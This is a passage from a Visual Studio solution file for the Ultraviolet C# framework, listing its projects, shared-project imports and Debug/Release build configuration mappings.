Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.ImGuiViewProvider.NETStandard20", "Ultraviolet.ImGuiViewProvider\NETStandard20\Ultraviolet.ImGuiViewProvider.NETStandard20.csproj", "{7F2E2246-C2C6-4AFB-A724-4833F417CD4A}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.ImGuiViewProvider.NETStandard21", "Ultraviolet.ImGuiViewProvider\NETStandard21\Ultraviolet.ImGuiViewProvider.NETStandard21.csproj", "{195EAE48-23A4-47CD-84F8-6FDC61FAA236}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "UvDebug", "UvDebug\Shared\UvDebug.shproj", "{41B16059-BFE0-4704-8EEE-44339B3834C5}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "UvDebug.NETCore2", "UvDebug\NETCore2\UvDebug.NETCore2.csproj", "{EA7CE19E-AA6C-491B-B049-76D4D97448D9}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "UvDebug.NETCore3", "UvDebug\NETCore3\UvDebug.NETCore3.csproj", "{0A52123E-EFA1-4A86-8223-FB7B807C162A}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Tooling", "Ultraviolet.Tooling\Shared\Ultraviolet.Tooling.shproj", "{C2D3AC48-2AE7-4DA8-9ED2-E591A8218B3B}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Tooling.NETStandard20", "Ultraviolet.Tooling\NETStandard20\Ultraviolet.Tooling.NETStandard20.csproj", "{B642EA48-DB2E-4BF7-A77C-9F5A38E7856C}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Tooling.NETStandard21", "Ultraviolet.Tooling\NETStandard21\Ultraviolet.Tooling.NETStandard21.csproj", "{A528808D-F58D-4132-9D79-13C23341FE52}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "UvArchive", "UvArchive\Shared\UvArchive.shproj", "{F6EB09D1-242B-4F29-BDC9-E9288711D7D0}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "UvArchive.NETCore3", "UvArchive\NETCore3\UvArchive.NETCore3.csproj", "{099981E0-206B-4E1E-A806-87761B1D238D}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "UvFont.NETCore3", "UvFont\NETCore3\UvFont.NETCore3.csproj", "{8E35D7B2-7901-4A74-8A1A-0C836D1F8E03}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "UvFont", "UvFont\Shared\UvFont.shproj", "{7342634B-B04C-4FA0-840E-BE26DBBEB430}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "UvAssetList.NETCore3", "UvAssetList\NETCore3\UvAssetList.NETCore3.csproj", "{AC122D65-34DB-4577-BEDF-07A4736DD6B7}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "UvAssetList", "UvAssetList\Shared\UvAssetList.shproj", "{33752A23-FDD9-493A-A5CE-76F4E953D49D}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Windows.Forms", "Ultraviolet.Windows.Forms\Shared\Ultraviolet.Windows.Forms.shproj", "{C2514552-D592-46CE-A8AD-42970A787F80}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Windows.Forms.NETCore3", "Ultraviolet.Windows.Forms\NETCore3\Ultraviolet.Windows.Forms.NETCore3.csproj", "{40C09D4D-7656-406A-A03B-2A22454AD9F5}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Presentation.Tests", "Ultraviolet.Presentation.Tests\Shared\Ultraviolet.Presentation.Tests.shproj", "{DCCF640B-A4D2-4CBD-8B28-BC6A7EB42E71}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.TestApplication", "Ultraviolet.TestApplication\Shared\Ultraviolet.TestApplication.shproj", "{AF8BB24E-1EF6-4585-9E6B-78EFF64AB44F}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Tests.Content", "Ultraviolet.Tests.Content\Ultraviolet.Tests.Content.shproj", "{0E2B1BC3-D1C3-4626-8AA3-37BF3039E43F}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Presentation.Tests.ViewModels", "Ultraviolet.Presentation.Tests.ViewModels\Shared\Ultraviolet.Presentation.Tests.ViewModels.shproj", "{EFBD7CDD-29C3-4C2D-9BFA-7BF43E27A2CB}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Tests.ViewModels.NETStandard20", "Ultraviolet.Presentation.Tests.ViewModels\NETStandard20\Ultraviolet.Presentation.Tests.ViewModels.NETStandard20.csproj", "{946E750A-1137-4CEF-92F1-8E038A8CBE67}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Tests.ViewModels.NETStandard21", "Ultraviolet.Presentation.Tests.ViewModels\NETStandard21\Ultraviolet.Presentation.Tests.ViewModels.NETStandard21.csproj", "{20EC16D8-C22F-4867-A80D-F4B2014549C8}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Core.TestFramework.NETCore2", "Ultraviolet.Core.TestFramework\NETCore2\Ultraviolet.Core.TestFramework.NETCore2.csproj", "{929EF484-89F5-4A99-BE58-307AE4A5AE63}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Core.TestFramework.NETCore3", "Ultraviolet.Core.TestFramework\NETCore3\Ultraviolet.Core.TestFramework.NETCore3.csproj", "{23021A75-F17B-401F-9465-87B45796BAAB}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Core.Tests.NETCore2", "Ultraviolet.Core.Tests\NETCore2\Ultraviolet.Core.Tests.NETCore2.csproj", "{E4AA0AAD-8921-4944-B8A9-F578A3DA8CF1}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Core.Tests.NETCore3", "Ultraviolet.Core.Tests\NETCore3\Ultraviolet.Core.Tests.NETCore3.csproj", "{9DABD102-2757-46A8-957F-27EFEF0A67FF}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Uvss.TestFramework.NETCore2", "Ultraviolet.Presentation.Uvss.TestFramework\NETCore2\Ultraviolet.Presentation.Uvss.TestFramework.NETCore2.csproj", "{1B3FD7F4-8F3A-45A0-8BF2-EAD611B51E8A}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.TestApplication.NETCore3", "Ultraviolet.TestApplication\NETCore3\Ultraviolet.TestApplication.NETCore3.csproj", "{4857566A-51FC-434C-8989-F0E285637785}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.TestApplication.NETCore2", "Ultraviolet.TestApplication\NETCore2\Ultraviolet.TestApplication.NETCore2.csproj", "{D3D7AD0E-AA4E-4CE1-B7B5-1E9E3CAC44DE}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.TestFramework.NETCore2", "Ultraviolet.TestFramework\NETCore2\Ultraviolet.TestFramework.NETCore2.csproj", "{799B1476-26C5-4D15-8373-436C06347FC5}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Uvss.TestFramework.NETCore3", "Ultraviolet.Presentation.Uvss.TestFramework\NETCore3\Ultraviolet.Presentation.Uvss.TestFramework.NETCore3.csproj", "{8E81F120-78EA-4DAF-8393-161391036B2D}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Tests.NETCore2", "Ultraviolet.Presentation.Tests\NETCore2\Ultraviolet.Presentation.Tests.NETCore2.csproj", "{FF848B54-5B82-4DAE-B3E7-295FEB1E1FF4}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Tests.NETCore3", "Ultraviolet.Presentation.Tests\NETCore3\Ultraviolet.Presentation.Tests.NETCore3.csproj", "{144EB3D9-43C3-482C-857A-31C045757A9E}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.TestFramework.NETCore3", "Ultraviolet.TestFramework\NETCore3\Ultraviolet.TestFramework.NETCore3.csproj", "{679D2D54-C765-4D0D-8985-99EB26C070B6}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Tests.NETCore3", "Ultraviolet.Tests\NETCore3\Ultraviolet.Tests.NETCore3.csproj", "{0D72E1A2-788A-431C-981A-1B06853C754C}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Tests.NETCore2", "Ultraviolet.Tests\NETCore2\Ultraviolet.Tests.NETCore2.csproj", "{89AAEF7D-3701-4E50-85E9-BF8880AD8878}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Uvss.Tests.NETCore2", "Ultraviolet.Presentation.Uvss.Tests\NETCore2\Ultraviolet.Presentation.Uvss.Tests.NETCore2.csproj", "{94CBEFF3-31A2-4FF9-BE78-F00E355A86AB}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Uvss.Tests.NETCore3", "Ultraviolet.Presentation.Uvss.Tests\NETCore3\Ultraviolet.Presentation.Uvss.Tests.NETCore3.csproj", "{7BD23C6D-6571-4912-9B93-1FA1F7EE5EA0}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "UvNativeCodeGen", "UvNativeCodeGen\UvNativeCodeGen.csproj", "{9478C868-C8DC-4693-8B87-E222DE17CEEE}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.OpenGL.Environment", "Ultraviolet.OpenGL.Environment\Shared\Ultraviolet.OpenGL.Environment.shproj", "{D42BE942-2F5C-4143-BFC7-A5E0D60EB12E}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.OpenGL.Environment.NETStandard20", "Ultraviolet.OpenGL.Environment\NETStandard20\Ultraviolet.OpenGL.Environment.NETStandard20.csproj", "{F21CFCD3-88E9-4DCD-AF89-1D17BE94C90E}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.OpenGL.Environment.NETStandard21", "Ultraviolet.OpenGL.Environment\NETStandard21\Ultraviolet.OpenGL.Environment.NETStandard21.csproj", "{6DFB7C59-8ABC-44E6-B2C2-2FC6AD5021E4}"
EndProject
Global
GlobalSection(SharedMSBuildProjectFiles) = preSolution
Ultraviolet.Core.Tests\Shared\Ultraviolet.Core.Tests.projitems*{073bb428-13a0-4812-baad-a18e7326cc52}*SharedItemsImports = 13
Ultraviolet.OpenGL.Bindings\Shared\Ultraviolet.OpenGL.Bindings.projitems*{083ebc74-51be-46e4-981f-09f5384ea856}*SharedItemsImports = 5
Ultraviolet.Tests\Shared\Ultraviolet.Tests.projitems*{084c6292-2de5-4f12-a40f-6b9bdd6154f5}*SharedItemsImports = 13
UvArchive\Shared\UvArchive.projitems*{099981e0-206b-4e1e-a806-87761b1d238d}*SharedItemsImports = 5
UvDebug\Shared\UvDebug.projitems*{0a52123e-efa1-4a86-8223-fb7b807c162a}*SharedItemsImports = 5
Ultraviolet.Tests.Content\Ultraviolet.Tests.Content.projitems*{0d72e1a2-788a-431c-981a-1b06853c754c}*SharedItemsImports = 5
Ultraviolet.Tests\Shared\Ultraviolet.Tests.projitems*{0d72e1a2-788a-431c-981a-1b06853c754c}*SharedItemsImports = 5
Ultraviolet.Tests.Content\Ultraviolet.Tests.Content.projitems*{0e2b1bc3-d1c3-4626-8aa3-37bf3039e43f}*SharedItemsImports = 13
Ultraviolet.ImGuiViewProvider.Bindings\Shared\Ultraviolet.ImGuiViewProvider.Bindings.projitems*{11742f76-15d2-47b2-a36d-81c9f5699e81}*SharedItemsImports = 13
Ultraviolet.Presentation.Tests\Shared\Ultraviolet.Presentation.Tests.projitems*{144eb3d9-43c3-482c-857a-31c045757a9e}*SharedItemsImports = 5
Ultraviolet.Tests.Content\Ultraviolet.Tests.Content.projitems*{144eb3d9-43c3-482c-857a-31c045757a9e}*SharedItemsImports = 5
Ultraviolet.OpenGL\Shared\Ultraviolet.OpenGL.projitems*{156cd6a9-a0aa-43a5-b08d-f22424a803a7}*SharedItemsImports = 5
Ultraviolet.ImGuiViewProvider\Shared\Ultraviolet.ImGuiViewProvider.projitems*{195eae48-23a4-47cd-84f8-6fdc61faa236}*SharedItemsImports = 5
Ultraviolet.Presentation.Uvss.TestFramework\Shared\Ultraviolet.Presentation.Uvss.TestFramework.projitems*{1b3fd7f4-8f3a-45a0-8bf2-ead611b51e8a}*SharedItemsImports = 5
Ultraviolet.FMOD\Shared\Ultraviolet.FMOD.projitems*{1f722fbd-8e0c-4d3f-afb5-8d8b0c8a7102}*SharedItemsImports = 5
Ultraviolet.Presentation.Tests.ViewModels\Shared\Ultraviolet.Presentation.Tests.ViewModels.projitems*{20ec16d8-c22f-4867-a80d-f4b2014549c8}*SharedItemsImports = 5
Ultraviolet.OpenGL\Shared\Ultraviolet.OpenGL.projitems*{2102c259-b359-465f-93dc-3a317ff09762}*SharedItemsImports = 5
Ultraviolet.Core.TestFramework\Shared\Ultraviolet.Core.TestFramework.projitems*{23021a75-f17b-401f-9465-87b45796baab}*SharedItemsImports = 5
Ultraviolet.ImGuiViewProvider.Bindings\Shared\Ultraviolet.ImGuiViewProvider.Bindings.projitems*{2c86ec33-c71f-4369-940d-f9fdb69eb165}*SharedItemsImports = 5
Ultraviolet.FMOD\Shared\Ultraviolet.FMOD.projitems*{2d9f99fd-93ee-4d9e-8ec9-718e6c67595e}*SharedItemsImports = 5
Ultraviolet.Presentation.Uvss\Shared\Ultraviolet.Presentation.Uvss.projitems*{2def7217-0b35-423c-9085-ec46260682c7}*SharedItemsImports = 13
Ultraviolet.BASS\Shared\Ultraviolet.BASS.projitems*{2feb822e-a465-483c-b14c-1ce2f27a2181}*SharedItemsImports = 5
UvAssetList\Shared\UvAssetList.projitems*{33752a23-fdd9-493a-a5ce-76f4e953d49d}*SharedItemsImports = 13
Ultraviolet.Windows.Forms\Shared\Ultraviolet.Windows.Forms.projitems*{40c09d4d-7656-406a-a03b-2a22454ad9f5}*SharedItemsImports = 5
UvDebug\Shared\UvDebug.projitems*{41b16059-bfe0-4704-8eee-44339b3834c5}*SharedItemsImports = 13
Ultraviolet.TestApplication\Shared\Ultraviolet.TestApplication.projitems*{4857566a-51fc-434c-8989-f0e285637785}*SharedItemsImports = 5
Ultraviolet.Presentation\Shared\Ultraviolet.Presentation.projitems*{4e921721-be4a-4f69-bee4-61e8a18e0774}*SharedItemsImports = 13
Ultraviolet.SDL2\Shared\Ultraviolet.SDL2.projitems*{4eff1892-2cdf-45a4-8bb0-61cec0875963}*SharedItemsImports = 5
Ultraviolet.Core\Shared\Ultraviolet.Core.projitems*{5084f479-1233-477c-87d8-9df47055dd80}*SharedItemsImports = 5
Ultraviolet.Presentation.Compiler\Shared\Ultraviolet.Presentation.Compiler.projitems*{54c6341b-ff25-4e8e-b8ed-bbe9503ff2bf}*SharedItemsImports = 5
Ultraviolet\Shared\Ultraviolet.projitems*{60ecc362-96e4-4a54-b280-23cb5cdb6903}*SharedItemsImports = 5
Ultraviolet.BASS\Shared\Ultraviolet.BASS.projitems*{62e8c883-b858-4fcc-82ec-c313fefbad34}*SharedItemsImports = 13
Ultraviolet.Core\Shared\Ultraviolet.Core.projitems*{6425d280-825e-4c8e-b378-6248391024ee}*SharedItemsImports = 5
Ultraviolet.TestFramework\Shared\Ultraviolet.TestFramework.projitems*{679d2d54-c765-4d0d-8985-99eb26c070b6}*SharedItemsImports = 5
Ultraviolet.BASS\Shared\Ultraviolet.BASS.projitems*{69adb61d-c5b5-4e5e-82d6-8afd9216d28e}*SharedItemsImports = 5
Ultraviolet.Presentation.Compiler\Shared\Ultraviolet.Presentation.Compiler.projitems*{6d4eb5c2-1427-4bbd-8679-f1d01f3675f9}*SharedItemsImports = 5
Ultraviolet.OpenGL.Environment\Shared\Ultraviolet.OpenGL.Environment.projitems*{6dfb7c59-8abc-44e6-b2c2-2fc6ad5021e4}*SharedItemsImports = 5
Ultraviolet.Presentation.Uvss.Tests\Shared\Ultraviolet.Presentation.Uvss.Tests.projitems*{7122e830-c550-488a-bc17-a5542ff5dd17}*SharedItemsImports = 13
UvFont\Shared\UvFont.projitems*{7342634b-b04c-4fa0-840e-be26dbbeb430}*SharedItemsImports = 13
Ultraviolet\Shared\Ultraviolet.projitems*{737d61a7-238e-40c8-89dc-46b6d6c38fd9}*SharedItemsImports = 5
Ultraviolet.Presentation\Shared\Ultraviolet.Presentation.projitems*{73860779-6975-440d-9f01-dce0fba2f703}*SharedItemsImports = 5
Ultraviolet.Presentation.Uvss.TestFramework\Shared\Ultraviolet.Presentation.Uvss.TestFramework.projitems*{75265ef0-dd07-4895-8c6b-18593a370b04}*SharedItemsImports = 13
Ultraviolet.ImGuiViewProvider\Shared\Ultraviolet.ImGuiViewProvider.projitems*{76ffe46f-869e-4bde-8122-ceb21b7ff07f}*SharedItemsImports = 13
Ultraviolet.TestFramework\Shared\Ultraviolet.TestFramework.projitems*{799b1476-26c5-4d15-8373-436c06347fc5}*SharedItemsImports = 5
Ultraviolet.Presentation.Uvss.Tests\Shared\Ultraviolet.Presentation.Uvss.Tests.projitems*{7bd23c6d-6571-4912-9b93-1fa1f7ee5ea0}*SharedItemsImports = 5
Ultraviolet.ImGuiViewProvider\Shared\Ultraviolet.ImGuiViewProvider.projitems*{7f2e2246-c2c6-4afb-a724-4833f417cd4a}*SharedItemsImports = 5
Ultraviolet.Core\Shared\Ultraviolet.Core.projitems*{803b586b-cbac-4e46-a787-bdf837e1ef46}*SharedItemsImports = 13
Ultraviolet.SDL2\Shared\Ultraviolet.SDL2.projitems*{81ca3649-4502-407f-b0e8-87ef9b4b1bdf}*SharedItemsImports = 5
Ultraviolet.Tests.Content\Ultraviolet.Tests.Content.projitems*{89aaef7d-3701-4e50-85e9-bf8880ad8878}*SharedItemsImports = 5
Ultraviolet.Tests\Shared\Ultraviolet.Tests.projitems*{89aaef7d-3701-4e50-85e9-bf8880ad8878}*SharedItemsImports = 5
UvFont\Shared\UvFont.projitems*{8e35d7b2-7901-4a74-8a1a-0c836d1f8e03}*SharedItemsImports = 5
Ultraviolet.Presentation.Uvss.TestFramework\Shared\Ultraviolet.Presentation.Uvss.TestFramework.projitems*{8e81f120-78ea-4daf-8393-161391036b2d}*SharedItemsImports = 5
Ultraviolet.Core.TestFramework\Shared\Ultraviolet.Core.TestFramework.projitems*{929ef484-89f5-4a99-be58-307ae4a5ae63}*SharedItemsImports = 5
Ultraviolet.Presentation.Tests.ViewModels\Shared\Ultraviolet.Presentation.Tests.ViewModels.projitems*{946e750a-1137-4cef-92f1-8e038a8cbe67}*SharedItemsImports = 5
Ultraviolet.Presentation.Uvss.Tests\Shared\Ultraviolet.Presentation.Uvss.Tests.projitems*{94cbeff3-31a2-4ff9-be78-f00e355a86ab}*SharedItemsImports = 5
Ultraviolet.SDL2\Shared\Ultraviolet.SDL2.projitems*{97309779-3045-4d98-8de0-5f40a8dc1c5b}*SharedItemsImports = 13
Ultraviolet\Shared\Ultraviolet.projitems*{979effae-5cdf-4ca8-90d0-e3dbf091de0a}*SharedItemsImports = 13
Ultraviolet.OpenGL.Bindings\Shared\Ultraviolet.OpenGL.Bindings.projitems*{9a26b895-46b3-4aa5-890a-a707958cafd2}*SharedItemsImports = 5
Ultraviolet.FreeType2\Shared\Ultraviolet.FreeType2.projitems*{9c6d1468-b7a7-4fb9-b7ef-088803a62b89}*SharedItemsImports = 13
Ultraviolet.Presentation.Uvss\Shared\Ultraviolet.Presentation.Uvss.projitems*{9ccb4afe-e0af-4051-b4d2-d2885a7f1db8}*SharedItemsImports = 5
Ultraviolet.Core.Tests\Shared\Ultraviolet.Core.Tests.projitems*{9dabd102-2757-46a8-957f-27efef0a67ff}*SharedItemsImports = 5
Ultraviolet.FreeType2\Shared\Ultraviolet.FreeType2.projitems*{9e47b77d-b108-4954-b441-2569fa888041}*SharedItemsImports = 5
Ultraviolet.Tooling\Shared\Ultraviolet.Tooling.projitems*{a528808d-f58d-4132-9d79-13c23341fe52}*SharedItemsImports = 5
UvAssetList\Shared\UvAssetList.projitems*{ac122d65-34db-4577-bedf-07a4736dd6b7}*SharedItemsImports = 5
Ultraviolet.TestApplication\Shared\Ultraviolet.TestApplication.projitems*{af8bb24e-1ef6-4585-9e6b-78eff64ab44f}*SharedItemsImports = 13
Ultraviolet.Presentation\Shared\Ultraviolet.Presentation.projitems*{b148fe6c-3d5a-4efb-8a93-63adb3152cf7}*SharedItemsImports = 5
Ultraviolet.Tooling\Shared\Ultraviolet.Tooling.projitems*{b642ea48-db2e-4bf7-a77c-9f5a38e7856c}*SharedItemsImports = 5
Ultraviolet.Core.TestFramework\Shared\Ultraviolet.Core.TestFramework.projitems*{c0ef7ba7-4f67-4063-84f7-8c04e4fcc632}*SharedItemsImports = 13
Ultraviolet.Windows.Forms\Shared\Ultraviolet.Windows.Forms.projitems*{c2514552-d592-46ce-a8ad-42970a787f80}*SharedItemsImports = 13
Ultraviolet.Tooling\Shared\Ultraviolet.Tooling.projitems*{c2d3ac48-2ae7-4da8-9ed2-e591a8218b3b}*SharedItemsImports = 13
Ultraviolet.Presentation.Uvss\Shared\Ultraviolet.Presentation.Uvss.projitems*{c51252da-60c9-4b3b-a08e-c94f9d1a9f35}*SharedItemsImports = 5
Ultraviolet.TestFramework\Shared\Ultraviolet.TestFramework.projitems*{d223f1a9-3445-47fe-b82f-f7aa334f0549}*SharedItemsImports = 13
Ultraviolet.Presentation.Compiler\Shared\Ultraviolet.Presentation.Compiler.projitems*{d27ab499-f06f-47ea-8645-285cf2315ec2}*SharedItemsImports = 13
Ultraviolet.TestApplication\Shared\Ultraviolet.TestApplication.projitems*{d3d7ad0e-aa4e-4ce1-b7b5-1e9e3cac44de}*SharedItemsImports = 5
Ultraviolet.OpenGL.Environment\Shared\Ultraviolet.OpenGL.Environment.projitems*{d42be942-2f5c-4143-bfc7-a5e0d60eb12e}*SharedItemsImports = 13
Ultraviolet.ImGuiViewProvider.Bindings\Shared\Ultraviolet.ImGuiViewProvider.Bindings.projitems*{d619ce8d-3b4f-415a-ba78-96b2d551a2c2}*SharedItemsImports = 5
Ultraviolet.Presentation.Tests\Shared\Ultraviolet.Presentation.Tests.projitems*{dccf640b-a4d2-4cbd-8b28-bc6a7eb42e71}*SharedItemsImports = 13
Ultraviolet.Core.Tests\Shared\Ultraviolet.Core.Tests.projitems*{e4aa0aad-8921-4944-b8a9-f578a3da8cf1}*SharedItemsImports = 5
UvDebug\Shared\UvDebug.projitems*{ea7ce19e-aa6c-491b-b049-76d4d97448d9}*SharedItemsImports = 5
Ultraviolet.FreeType2\Shared\Ultraviolet.FreeType2.projitems*{eac832a4-c689-4a81-a8c9-91ece9c94521}*SharedItemsImports = 5
Ultraviolet.Presentation.Tests.ViewModels\Shared\Ultraviolet.Presentation.Tests.ViewModels.projitems*{efbd7cdd-29c3-4c2d-9bfa-7bf43e27a2cb}*SharedItemsImports = 13
Ultraviolet.OpenGL\Shared\Ultraviolet.OpenGL.projitems*{f04e0c37-afc2-4b85-90c7-9d77dcfd074c}*SharedItemsImports = 13
Ultraviolet.OpenGL.Environment\Shared\Ultraviolet.OpenGL.Environment.projitems*{f21cfcd3-88e9-4dcd-af89-1d17be94c90e}*SharedItemsImports = 5
Ultraviolet.OpenGL.Bindings\Shared\Ultraviolet.OpenGL.Bindings.projitems*{f2660b00-b04a-4301-9dfb-226dd9d0798b}*SharedItemsImports = 13
UvArchive\Shared\UvArchive.projitems*{f6eb09d1-242b-4f29-bdc9-e9288711d7d0}*SharedItemsImports = 13
Ultraviolet.FMOD\Shared\Ultraviolet.FMOD.projitems*{f6fe0208-9ca4-41c6-88a2-bbf5b25b3977}*SharedItemsImports = 13
Ultraviolet.Presentation.Tests\Shared\Ultraviolet.Presentation.Tests.projitems*{ff848b54-5b82-4dae-b3e7-295feb1e1ff4}*SharedItemsImports = 5
Ultraviolet.Tests.Content\Ultraviolet.Tests.Content.projitems*{ff848b54-5b82-4dae-b3e7-295feb1e1ff4}*SharedItemsImports = 5
EndGlobalSection
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5084F479-1233-477C-87D8-9DF47055DD80}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5084F479-1233-477C-87D8-9DF47055DD80}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5084F479-1233-477C-87D8-9DF47055DD80}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5084F479-1233-477C-87D8-9DF47055DD80}.Release|Any CPU.Build.0 = Release|Any CPU
{6425D280-825E-4C8E-B378-6248391024EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6425D280-825E-4C8E-B378-6248391024EE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6425D280-825E-4C8E-B378-6248391024EE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6425D280-825E-4C8E-B378-6248391024EE}.Release|Any CPU.Build.0 = Release|Any CPU
{9A26B895-46B3-4AA5-890A-A707958CAFD2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9A26B895-46B3-4AA5-890A-A707958CAFD2}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9A26B895-46B3-4AA5-890A-A707958CAFD2}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9A26B895-46B3-4AA5-890A-A707958CAFD2}.Release|Any CPU.Build.0 = Release|Any CPU
{083EBC74-51BE-46E4-981F-09F5384EA856}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{083EBC74-51BE-46E4-981F-09F5384EA856}.Debug|Any CPU.Build.0 = Debug|Any CPU
{083EBC74-51BE-46E4-981F-09F5384EA856}.Release|Any CPU.ActiveCfg = Release|Any CPU
{083EBC74-51BE-46E4-981F-09F5384EA856}.Release|Any CPU.Build.0 = Release|Any CPU
{737D61A7-238E-40C8-89DC-46B6D6C38FD9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{737D61A7-238E-40C8-89DC-46B6D6C38FD9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{737D61A7-238E-40C8-89DC-46B6D6C38FD9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{737D61A7-238E-40C8-89DC-46B6D6C38FD9}.Release|Any CPU.Build.0 = Release|Any CPU
{60ECC362-96E4-4A54-B280-23CB5CDB6903}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{60ECC362-96E4-4A54-B280-23CB5CDB6903}.Debug|Any CPU.Build.0 = Debug|Any CPU
{60ECC362-96E4-4A54-B280-23CB5CDB6903}.Release|Any CPU.ActiveCfg = Release|Any CPU
{60ECC362-96E4-4A54-B280-23CB5CDB6903}.Release|Any CPU.Build.0 = Release|Any CPU
{81CA3649-4502-407F-B0E8-87EF9B4B1BDF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{81CA3649-4502-407F-B0E8-87EF9B4B1BDF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{81CA3649-4502-407F-B0E8-87EF9B4B1BDF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{81CA3649-4502-407F-B0E8-87EF9B4B1BDF}.Release|Any CPU.Build.0 = Release|Any CPU
{4EFF1892-2CDF-45A4-8BB0-61CEC0875963}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4EFF1892-2CDF-45A4-8BB0-61CEC0875963}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4EFF1892-2CDF-45A4-8BB0-61CEC0875963}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4EFF1892-2CDF-45A4-8BB0-61CEC0875963}.Release|Any CPU.Build.0 = Release|Any CPU
{156CD6A9-A0AA-43A5-B08D-F22424A803A7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{156CD6A9-A0AA-43A5-B08D-F22424A803A7}.Debug|Any CPU.Build.0 = Debug|Any CPU
{156CD6A9-A0AA-43A5-B08D-F22424A803A7}.Release|Any CPU.ActiveCfg = Release|Any CPU
{156CD6A9-A0AA-43A5-B08D-F22424A803A7}.Release|Any CPU.Build.0 = Release|Any CPU
{2102C259-B359-465F-93DC-3A317FF09762}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2102C259-B359-465F-93DC-3A317FF09762}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2102C259-B359-465F-93DC-3A317FF09762}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2102C259-B359-465F-93DC-3A317FF09762}.Release|Any CPU.Build.0 = Release|Any CPU
{6DE9B8AD-3CBD-499B-9A17-5DB198B7E6B1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
